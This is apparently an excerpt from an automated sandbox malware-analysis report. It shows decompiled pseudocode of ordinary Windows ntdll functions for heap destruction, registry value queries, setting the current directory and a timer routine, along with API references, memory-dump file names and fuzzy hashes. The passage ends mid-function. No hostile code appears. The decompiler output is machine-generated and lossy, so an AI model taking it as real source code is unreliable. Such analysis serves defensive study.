0x6d25dde2
0x6d25dde7
0x6d25de59
0x6d25de59
0x00000000
0x6d25de59
0x6d25ddf0
0x6d25ddf3
0x6d25ddfa
0x6d25ddff
0x6d25de05
0x6d25de1c
0x00000000
0x00000000
0x6d25de1e
0x00000000
0x6d25de1e
0x6d25de0f
0x6d25de25
0x6d25de28
0x6d25de2d
0x6d25de33
0x6d25de3e
0x6d25de41
0x6d25de50
0x6d25de52
0x6d25de54
0x6d25de57
0x00000000
0x6d25de57
0x6d25de11
0x6d25de14
0x6d25de14
0x00000000

APIs

RtlAcquireSRWLockShared.1105(6D338654,6D2917F0,00000000), ref: 6D25DDCE
ZwQueryVirtualMemory.1105(000000FF,000000FE,00000006,?,0000000C,00000000,6D2917F0,00000000), ref: 6D25DE98
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000,6D2917F0,00000000), ref: 6D25DEE8
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000), ref: 6D25DF0D
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,00000000,00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF), ref: 6D25DF46

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImage$AcquireLockMemoryQuerySharedVirtual
String ID:
API String ID: 114269737-0
Opcode ID: 5ded5d64f9fd964c0d2386faafe2ef0471633e4c142d0db4eab7d7cfa546b474
Instruction ID: c34b266b9a89db04d21d8b0cd278a4828ddb51b66ab4cd04ed14c393a1601eda
Opcode Fuzzy Hash: 5ded5d64f9fd964c0d2386faafe2ef0471633e4c142d0db4eab7d7cfa546b474
Instruction Fuzzy Hash: 4CC1BE70A8420F8FEB18CF58C840FAEB7B6EF84715F148669D564EB280D734E955CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D303518, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6D303518(signed int* __ecx) {
				char _v8;
				void* _t11;
				signed int* _t34;

				_push(__ecx);
				_t34 = __ecx;
				if(__ecx !=  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
					if(E6D2440E1("RtlDestroyHeap") == 0 || E6D304496(__ecx, 0) == 0) {
						goto L5;
					} else {
						_t32 = __ecx + 0x80;
						 *((intOrPtr*)(__ecx + 0x60)) = 0;
						if( *((intOrPtr*)(__ecx + 0x80)) != 0) {
							_v8 = 0;
							E6D27174B(_t32,  &_v8, 0x8000);
						}
						_t11 = 1;
					}
				} else {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6D24B150();
					} else {
						E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6D24B150("May not destroy the process heap at %p\n", _t34);
					L5:
					_t11 = 0;
				}
				return _t11;
			}

0x6d30351d
0x6d303525
0x6d30352a
0x6d30357d
0x00000000
0x6d30358c
0x6d30358e
0x6d303594
0x6d303599
0x6d30359b
0x6d3035a7
0x6d3035a7
0x6d3035ac
0x6d3035ac
0x6d30352c
0x6d303536
0x6d303555
0x6d30355a
0x6d303538
0x6d30354d
0x6d303552
0x6d303566
0x6d30356d
0x6d30356d
0x6d30356d
0x6d3035b2

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,00000000,?,?,6D29FC67), ref: 6D30354D
DbgPrint.1105(HEAP: ,00000000,?,?,6D29FC67), ref: 6D30355A
DbgPrint.1105(May not destroy the process heap at %p,?,00000000,?,?,6D29FC67), ref: 6D303566

Strings

RtlDestroyHeap, xrefs: 6D303571
May not destroy the process heap at %p, xrefs: 6D303561
HEAP[%wZ]: , xrefs: 6D303548
HEAP: , xrefs: 6D303555

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
API String ID: 3558298466-4256168463
Opcode ID: 78e642f4092f9c7f2be808497c6ae3590a0c8e9379f24e32ab0d5c02edb800ab
Instruction ID: 94f42a40575e24673876307c96aa6f9618367ba082bf2de5f52f880b28c8b2ae
Opcode Fuzzy Hash: 78e642f4092f9c7f2be808497c6ae3590a0c8e9379f24e32ab0d5c02edb800ab
Instruction Fuzzy Hash: 5E01F9321A4608DFC715DF78C445FA673E8EF45614F01C465E9099B251DB32F944C661

Uniqueness

Uniqueness Score: -1.00%

Function 6D24C600, Relevance: 12.2, APIs: 8, Instructions: 225
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E6D24C600(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				char _v1036;
				intOrPtr _v1040;
				char _v1048;
				intOrPtr _v1052;
				short _v1054;
				void* _v1056;
				void* _v1060;
				long* _v1064;
				char _v1068;
				long _v1076;
				intOrPtr _v1080;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t70;
				void* _t74;
				intOrPtr _t77;
				void* _t78;
				intOrPtr* _t81;
				void* _t101;
				void* _t102;
				void* _t107;
				intOrPtr _t109;
				long* _t110;
				long* _t111;
				long* _t112;
				long* _t113;
				intOrPtr _t114;
				intOrPtr _t116;
				void* _t117;
				intOrPtr _t118;
				void* _t120;
				long _t121;
				long _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x6d33d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E6D256D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E6D28B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t74 = RtlAllocateHeap(_t107,  *0x6d337b9c + 0x180000, _t121);
					_v1060 = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1068);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1056);
					_push(_t116);
					_t122 = E6D289650();
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *((intOrPtr*)(_t102 + 4));
							if(_t109 == 3 || _t109 == 7) {
								if(_t114 != _t109) {
									goto L59;
								}
								_t110 = _v1064;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1068 = _t118;
								if(_t110 == 0 ||  *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								} else {
									_push( *((intOrPtr*)(_t102 + 8)));
									_t59 = _t102 + 0xc; // 0xc
									_push(_t110);
									goto L54;
								}
							} else {
								_t118 = 4;
								if(_t109 != _t118) {
									if(_t109 != 0xb) {
										if(_t109 == 1) {
											if(_t114 != _t118) {
												_t118 =  *((intOrPtr*)(_t102 + 8));
												_v1068 = _t118;
												if(_t118 > _t77) {
													L10:
													_t122 = 0x80000005;
													L11:
													_t81 = _v1048;
													if(_t81 != 0 && (_t122 >= 0 || _t122 == 0x80000005)) {
														 *_t81 = _t118;
													}
													L15:
													_t78 = _v1060;
													if(_t78 != 0) {
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t78);
													}
													_t68 = _t122;
													goto L4;
												}
												_push(_t118);
												_t56 = _t102 + 0xc; // 0xc
												_push(_v1064);
												L54:
												memcpy();
												_t125 = _t125 + 0xc;
												goto L11;
											}
											if(_t77 != _t118) {
												L34:
												_t122 = 0xc0000004;
												goto L15;
											}
											_t111 = _v1064;
											if((_t111 & 0x00000003) == 0) {
												_v1068 = _t118;
												if(_t111 == 0) {
													goto L10;
												}
												_t42 = _t102 + 0xc; // 0xc
												_v1052 = _t42;
												_v1056 =  *((intOrPtr*)(_t102 + 8));
												_v1054 =  *((intOrPtr*)(_t102 + 8));
												_t122 = RtlUnicodeStringToInteger( &_v1056, 0, _t111);
												L44:
												_t118 = _v1080;
												goto L11;
											}
											_t122 = 0x80000002;
											goto L15;
										}
										_t122 = 0xc0000024;
										goto L44;
									}
									if(_t114 != _t109) {
										L59:
										_t122 = 0xc0000024;
										goto L15;
									}
									_t118 = 8;
									if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
										goto L34;
									} else {
										_t112 = _v1064;
										_v1068 = _t118;
										if(_t112 == 0) {
											goto L10;
										}
										 *_t112 =  *(_t102 + 0xc);
										_t112[1] =  *(_t102 + 0x10);
										goto L11;
									}
								}
								if(_t114 != _t118) {
									goto L59;
								}
								if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								} else {
									_t113 = _v1064;
									_v1068 = _t118;
									if(_t113 == 0) {
										goto L10;
									}
									 *_t113 =  *(_t102 + 0xc);
									goto L11;
								}
							}
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						if(_t118 <= _a20) {
							_t114 =  *((intOrPtr*)(_t102 + 4));
							_t77 = _t118;
							goto L26;
						}
						_v1068 = _t118;
						goto L10;
					}
					if(_t122 != 0x80000005) {
						goto L15;
					}
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1076;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E6D289650();
				if(_t122 >= 0) {
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x6d24c608
0x6d24c615
0x6d24c625
0x6d24c62d
0x6d24c635
0x6d24c640
0x6d24c680
0x6d24c687
0x6d24c688
0x6d24c689
0x6d24c694
0x6d24c694
0x6d24c642
0x6d24c64a
0x6d24c697
0x6d2b7a25
0x6d2b7a2b
0x6d2b7a30
0x6d2b7bea
0x6d2b7bea
0x00000000
0x6d2b7bea
0x6d2b7a43
0x6d2b7a48
0x6d2b7a4e
0x00000000
0x00000000
0x6d2b7a58
0x6d2b7a5a
0x6d2b7a5b
0x6d2b7a5c
0x6d2b7a5d
0x6d2b7a63
0x6d2b7a64
0x6d2b7a6a
0x6d2b7a6e
0x6d2b79cb
0x6d2b79cb
0x6d2b79d0
0x6d2b7a98
0x6d2b7a9b
0x6d2b7a9b
0x6d2b7aa1
0x6d2b7bc0
0x00000000
0x00000000
0x6d2b7bc2
0x6d2b7bc6
0x6d2b7bc9
0x6d2b7bcf
0x00000000
0x6d2b7bde
0x6d2b7ba9
0x6d2b7bac
0x6d2b7bb0
0x00000000
0x6d2b7bb0
0x6d2b7ab0
0x6d2b7ab2
0x6d2b7ab5
0x6d2b7aef
0x6d2b7b28
0x6d2b7b64
0x6d2b7b8f
0x6d2b7b92
0x6d2b7b98
0x6d2b79e6
0x6d2b79e6
0x6d2b79eb
0x6d2b79eb
0x6d2b79f1
0x6d2b79ff
0x6d2b79ff
0x6d2b7a01
0x6d2b7a01
0x6d2b7a07
0x6d2b7a15
0x6d2b7a15
0x6d2b7a1a
0x00000000
0x6d2b7a1a
0x6d2b7b9e
0x6d2b7b9f
0x6d2b7ba3
0x6d2b7bb1
0x6d2b7bb1
0x6d2b7bb6
0x00000000
0x6d2b7bb6
0x6d2b7b68
0x6d2b7ae2
0x6d2b7ae2
0x00000000
0x6d2b7ae2
0x6d2b7b6e
0x6d2b7b75
0x6d2b7b81
0x6d2b7b87
0x00000000
0x00000000
0x6d2b7b31
0x6d2b7b34
0x6d2b7b3c
0x6d2b7b46
0x6d2b7b57
0x6d2b7b59
0x6d2b7b59
0x00000000
0x6d2b7b59
0x6d2b7b77
0x00000000
0x6d2b7b77
0x6d2b7b2a
0x00000000
0x6d2b7b2a
0x6d2b7af3
0x6d2b7be0
0x6d2b7be0
0x00000000
0x6d2b7be0
0x6d2b7afb
0x6d2b7afe
0x00000000
0x6d2b7b05
0x6d2b7b05
0x6d2b7b09
0x6d2b7b0f
0x00000000
0x00000000
0x6d2b7b18
0x6d2b7b1d
0x00000000
0x6d2b7b1d
0x6d2b7afe
0x6d2b7ab9
0x00000000
0x00000000
0x6d2b7ac1
0x00000000
0x6d2b7ac8
0x6d2b7ac8
0x6d2b7acc
0x6d2b7ad2
0x00000000
0x00000000
0x6d2b7adb
0x00000000
0x6d2b7adb
0x6d2b7ac1
0x6d2b7aa1
0x6d2b79d6
0x6d2b79dc
0x6d2b7a91
0x6d2b7a94
0x00000000
0x6d2b7a94
0x6d2b79e2
0x00000000
0x6d2b79e2
0x6d2b7a7a
0x00000000
0x00000000
0x6d2b7a8a
0x6d2b7a21
0x6d2b7a21
0x00000000
0x6d2b7a21
0x6d24c650
0x6d24c651
0x6d24c656
0x6d24c65c
0x6d24c65d
0x6d24c663
0x6d24c664
0x6d24c66a
0x6d24c66e
0x6d2b79c7
0x00000000
0x6d2b79c7
0x6d24c67a
0x00000000
0x00000000
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,?,?,?,?), ref: 6D24C639
ZwQueryValueKey.1105(?,?,00000002,?,00000400,?,?,?,?,?,?), ref: 6D24C665
RtlFreeHeap.1105(?,00000000,00000002,?,?,00000002,00000000,?,?,?,?), ref: 6D2B7A15
RtlAllocateHeap.1105(?,?,?,?,?,?,?,?), ref: 6D2B7A43
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?,?), ref: 6D2B7A65
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6D2B7A8A
RtlUnicodeStringToInteger.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6D2B7B52
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,?,?,?), ref: 6D2B7BB1

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeQueryStringUnicodeValue$AllocateInitIntegermemcpy
String ID:
API String ID: 3015855070-0
Opcode ID: d1e326105c7de02b9aff0ab443bd6b9001aed66565dce4a0ba720cfcefacbdac
Instruction ID: c0d530643182c906e227e2d3eeeb443549b9e81c294bf0b4d54fed88adbc6710
Opcode Fuzzy Hash: d1e326105c7de02b9aff0ab443bd6b9001aed66565dce4a0ba720cfcefacbdac
Instruction Fuzzy Hash: 6881B375AD870B8BDB16CE18C880F6BB7E4FB84398F15886AED559B240D370DD44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D245050, Relevance: 12.1, APIs: 8, Instructions: 133
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6D245050(intOrPtr _a4) {
				char _v20;
				void* _v24;
				long _v26;
				void* _v28;
				void* _v40;
				void* _v42;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v64;
				intOrPtr _t34;
				void* _t36;
				void* _t38;
				signed short _t41;
				signed int _t51;
				void* _t58;
				void* _t60;
				void* _t69;
				intOrPtr _t74;
				long _t78;
				void* _t79;
				void* _t80;
				void* _t81;
				signed int _t82;
				void* _t84;

				_t84 = (_t82 & 0xfffffff8) - 0x1c;
				_t34 =  *[fs:0x30];
				_t58 =  *(_t34 + 0x18);
				_t74 =  *((intOrPtr*)(_t34 + 0x10));
				_v28 = _t58;
				if(E6D24519E(_a4) != 0) {
					_t36 = 0;
					L14:
					return _t36;
				}
				if(E6D2674C0(_a4) != 0) {
					_t36 = 0xc0000103;
				} else {
					_t78 =  *(_t74 + 0x26) & 0x0000ffff;
					while(1) {
						_t38 = RtlAllocateHeap(_t58, 0, _t78);
						_v24 = _t38;
						if(_t38 == 0) {
							break;
						}
						_v28 = 0;
						if(_t78 > 0xffff) {
							_v26 = 0xffff;
							L25:
							_t79 = 0xc0000095;
							L26:
							RtlFreeHeap(_t58, 0, _t38);
							_t36 = _t79;
							goto L14;
						}
						_v26 = _t78;
						_t80 = E6D266E30(_a4, _t78, _t38, 0, 0,  &_v20);
						if(_t80 == 0) {
							_t79 = 0xc0000033;
							L23:
							_t38 = _v24;
							goto L26;
						}
						_t41 = _v26;
						if(_t80 > (_t41 & 0x0000ffff) - 4) {
							__eflags =  *((char*)( *[fs:0x30] + 3));
							if(__eflags >= 0) {
								_t41 = _v26;
								goto L7;
							}
							RtlFreeHeap(_t58, 0, _v24);
							_t78 = _t80 + 4;
							continue;
						}
						L7:
						_t72 = _t41 & 0x0000ffff;
						if(_t80 > (_t41 & 0x0000ffff)) {
							_t79 = 0xc0000106;
							goto L23;
						}
						_t92 = _t80 - 0xffff;
						if(_t80 > 0xffff) {
							_v28 = 0xffff;
							_t38 = _v24;
							goto L25;
						}
						_v28 = _t80;
						_t60 = E6D27F0BF( &_v28, _t72, _t92, _t84 + 0x14);
						RtlFreeHeap(_v40, 0, _v28);
						if(_t60 >= 0) {
							L6D25EEF0(0x6d3379a0);
							_t69 = _v44;
							_t81 =  *0x6d338210;
							 *((intOrPtr*)(_t74 + 0x2c)) =  *((intOrPtr*)(_t69 + 4));
							 *((intOrPtr*)(_t74 + 0x28)) =  *((intOrPtr*)(_t69 + 0x10));
							 *((short*)(_t74 + 0x24)) =  *((intOrPtr*)(_t69 + 0xc));
							 *0x6d338210 = _t69;
							_t51 = E6D25EB70(_t69, 0x6d3379a0);
							if(_t81 != 0) {
								asm("lock xadd [esi], eax");
								if((_t51 | 0xffffffff) == 0) {
									_push( *((intOrPtr*)(_t81 + 4)));
									E6D2895D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t81);
								}
							}
						}
						_t36 = _t60;
						goto L14;
					}
					_t36 = 0xc0000017;
				}
			}

0x6d245058
0x6d24505b
0x6d245066
0x6d24506a
0x6d24506d
0x6d245078
0x6d24519a
0x6d245191
0x6d245197
0x6d245197
0x6d245088
0x6d2a0c21
0x6d24508e
0x6d24508e
0x6d245092
0x6d245096
0x6d24509b
0x6d2450a1
0x00000000
0x00000000
0x6d2450ae
0x6d2450b5
0x6d2a0c72
0x6d2a0c77
0x6d2a0c77
0x6d2a0c7c
0x6d2a0c80
0x6d2a0c85
0x00000000
0x6d2a0c85
0x6d2450bf
0x6d2450d4
0x6d2450d8
0x6d2a0c67
0x6d2a0c6c
0x6d2a0c6c
0x00000000
0x6d2a0c6c
0x6d2450de
0x6d2450eb
0x6d2a0c31
0x6d2a0c35
0x6d2a0c4b
0x00000000
0x6d2a0c4b
0x6d2a0c3e
0x6d2a0c43
0x00000000
0x6d2a0c43
0x6d2450f1
0x6d2450f1
0x6d2450f6
0x6d2a0c55
0x00000000
0x6d2a0c55
0x6d245101
0x6d245103
0x6d2a0c5c
0x6d2a0c61
0x00000000
0x6d2a0c61
0x6d24510d
0x6d245120
0x6d245128
0x6d24512f
0x6d245136
0x6d24513b
0x6d24513f
0x6d24514d
0x6d245153
0x6d24515a
0x6d24515e
0x6d245164
0x6d24516b
0x6d245170
0x6d245174
0x6d245176
0x6d245179
0x6d24518a
0x6d24518a
0x6d245174
0x6d24516b
0x6d24518f
0x00000000
0x6d24518f
0x6d2a0c8c
0x6d2a0c8c

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6D245096
RtlFreeHeap.1105(?,00000000,00000000,00000000,?), ref: 6D2A0C80

Part of subcall function 6D266E30: memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6D266F17

RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6D245128
RtlEnterCriticalSection.1105(6D3379A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6D245136
RtlLeaveCriticalSection.1105(6D3379A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6D245164
ZwClose.1105(?,6D3379A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000), ref: 6D245179
RtlFreeHeap.1105(?,00000000,?,?,6D3379A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000), ref: 6D24518A
RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6D2A0C3E

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$CriticalSection$AllocateCloseEnterLeavememset
String ID:
API String ID: 1968905909-0
Opcode ID: 60ac22c46d2fa389dd598478a1f031c77557312335026e26da4da468abcca54f
Instruction ID: df26994d96bfc857f75748346cbc72548fc93df559d84d3ab9c2625f7e1b4a63
Opcode Fuzzy Hash: 60ac22c46d2fa389dd598478a1f031c77557312335026e26da4da468abcca54f
Instruction Fuzzy Hash: 9941343569835A9BC325DF28C980B2AB7A4FF84304F028928FD9987680E730DC41C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 6D27513A, Relevance: 10.8, APIs: 7, Instructions: 258
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6D27513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				int _v28;
				int* _v32;
				signed int _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				void* _t165;
				signed int _t172;
				signed int _t181;
				void* _t185;
				void* _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				intOrPtr _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr _t230;
				void** _t233;
				signed int _t234;
				signed int _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t241;
				void* _t246;
				signed int _t247;
				signed int _t248;
				void* _t249;
				void* _t252;
				void* _t253;
				signed int _t254;
				signed int _t256;
				signed int _t257;

				_t256 = (_t254 & 0xfffffff8) - 0x6c;
				_v8 =  *0x6d33d360 ^ _t256;
				_v32 = _v32 & 0x00000000;
				_t252 = __edx;
				_t238 = __ecx;
				_t212 = 6;
				_t246 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t246, 0, _t212 << 2);
				_t257 = _t256 + 0xc;
				_t247 = _t246 + _t212;
				if(_t207 == 2) {
					_t248 =  *(_t238 + 0x60);
					_t208 =  *(_t238 + 0x64);
					_v63 =  *((intOrPtr*)(_t238 + 0x4c));
					_t159 =  *((intOrPtr*)(_t238 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t238 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t248;
					L8:
					_t214 = 0;
					if( *(_t238 + 0x74) > 0) {
						_t82 = _t238 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = 1 + _t214;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t238 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t238 +  *((intOrPtr*)(_v88 + _t238 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t238 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t238 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t241 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t252 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t241 + 0x4e) & 0x7fff)) {
								_t181 = E6D28D0F0(1, _t226 + 0x20, 0);
								_t230 = _v40;
								 *(_t230 + 8) = _t181;
								 *((intOrPtr*)(_t230 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t250 = _t127;
								E6D262280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *(_t210 + 0x94);
								if(_t185 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t185);
								}
								_t189 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v20 + 0x10);
								 *(_t210 + 0x94) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v28;
									( *(_t210 + 0x94))[3] = _v24;
									_t233 =  *(_t210 + 0x94);
									 *_t233 =  &(_t233[4]);
									_t233[1] = _t233[1] & 0x00000000;
									memcpy( *( *(_t210 + 0x94)), _v36, _v28);
									_t257 = _t257 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E6D25FFB0(_t210, _t250, _t250);
								_t222 = _v84;
								_t172 = _v88;
								_t208 = _v92;
								_t248 = _v96;
								L10:
								_t239 =  *((intOrPtr*)(_t252 + 0x1c));
								_v44 = _t239;
								if(_t239 != 0) {
									 *0x6d33b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t248, _t208, _v32,  *((intOrPtr*)(_t252 + 0x20)));
									_v44();
								}
								_pop(_t249);
								_pop(_t253);
								_pop(_t209);
								return E6D28B640(0, _t209, _v8 ^ _t257, _t239, _t249, _t253);
							}
							_t181 = _v92;
							L31:
							_t226 = 1 + _t226;
							_t181 = _t181 + 0x18;
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t248 = _t247 | 0xffffffff;
				_t208 = _t248;
				_v84 = _t248;
				_v80 = _t208;
				if( *((intOrPtr*)(_t252 + 0x4c)) == _t157) {
					_t234 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t252 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t252 + 0x40);
					_t234 = _v72 |  *(_t252 + 0x44);
					_t248 =  *(_t252 + 0x38);
					_t208 =  *(_t252 + 0x3c);
					_v76 = _t202;
					_v72 = _t234;
					_v84 = _t248;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t234;
				if( *((char*)(_t252 + 0xc4)) != 0) {
					_t238 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t252 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t252 + 0xc5));
						_t238 = _v48;
					}
					_t203 = _t202 |  *(_t252 + 0xb8);
					_t235 = _t234 |  *(_t252 + 0xbc);
					_t248 = _t248 &  *(_t252 + 0xb0);
					_t208 = _t208 &  *(_t252 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t235;
					_v72 = _t235;
					_v84 = _t248;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
